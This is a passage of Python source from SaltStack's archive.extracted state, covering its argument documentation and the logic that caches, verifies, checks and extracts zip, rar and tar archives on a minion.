        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    keep_source : True
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. To remove the downloaded archive after extraction, set
        this argument to ``False``.

        .. versionadded:: 2017.7.3

    keep : True
        Same as ``keep_source``, kept for backward-compatibility.

        .. note::
            If both ``keep_source`` and ``keep`` are used, ``keep`` will be
            ignored.

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite existing files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.args.clean_kwargs(**kwargs)

    if 'keep_source' in kwargs and 'keep' in kwargs:
        ret.setdefault('warnings', []).append(
            'Both \'keep_source\' and \'keep\' were used. Since these both '
            'do the same thing, \'keep\' was ignored.'
        )
        keep_source = bool(kwargs.pop('keep_source'))
        kwargs.pop('keep')
    elif 'keep_source' in kwargs:
        keep_source = bool(kwargs.pop('keep_source'))
    elif 'keep' in kwargs:
        keep_source = bool(kwargs.pop('keep'))
    else:
        # Neither was passed, default is True
        keep_source = True

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip(os.sep)
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if if_missing is not None and os.path.exists(if_missing):
        ret['result'] = True
        ret['comment'] = 'Path {0} exists'.format(if_missing)
        return ret

    if user or group:
        if salt.utils.platform.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    urlparsed_scheme = urlparsed_source.scheme
    urlparsed_path = os.path.join(
        urlparsed_source.netloc,
        urlparsed_source.path).rstrip(os.sep)

    # urlparsed_scheme will be the drive letter if this is a Windows file path
    # This checks for a drive letter as the scheme and changes it to file
    if urlparsed_scheme and \
            urlparsed_scheme.lower() in string.ascii_lowercase:
        urlparsed_path = ':'.join([urlparsed_scheme, urlparsed_path])
        urlparsed_scheme = 'file'

    source_hash_basename = urlparsed_path or urlparsed_source.netloc

    source_is_local = urlparsed_scheme in salt.utils.files.LOCAL_PROTOS
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = os.path.realpath(os.path.expanduser(urlparsed_path))
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(
                                salt.utils.url.redact_http_basic_auth(source_match))
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guessed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = six.text_type(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached = source_match
    else:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be cached (if necessary) and checked to '
                'discover if extraction is needed'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        if 'file.cached' not in __states__:
            # Shouldn't happen unless there is a traceback keeping
            # salt/states/file.py from being processed through the loader. If
            # that is the case, we have much more important problems as _all_
            # file states would be unavailable.
            ret['comment'] = (
                'Unable to cache {0}, file.cached state not available'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        try:
            result = __states__['file.cached'](source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        except Exception as exc:
            msg = 'Failed to cache {0}: {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    exc.__str__())
            log.exception(msg)
            ret['comment'] = msg
            return ret
        else:
            log.debug('file.cached: %s', result)

        if result['result']:
            # Get the path of the file in the minion cache
            cached = __salt__['cp.is_cached'](source_match, saltenv=__env__)
        else:
            log.debug(
                'failed to download %s',
                salt.utils.url.redact_http_basic_auth(source_match)
            )
            return result

    existing_cached_source_sum = _read_cached_checksum(cached)

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = salt.utils.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        salt.utils.url.redact_http_basic_auth(source_match),
                        source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting %s to %s', cached, name)
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      extract_perms=extract_perms,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached, 'r')) as tar:
                            tar.extractall(salt.utils.stringutils.to_str(name))
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.path.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.path.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached])

                    results = __salt__['cmd.run_all'](tar_cmd,
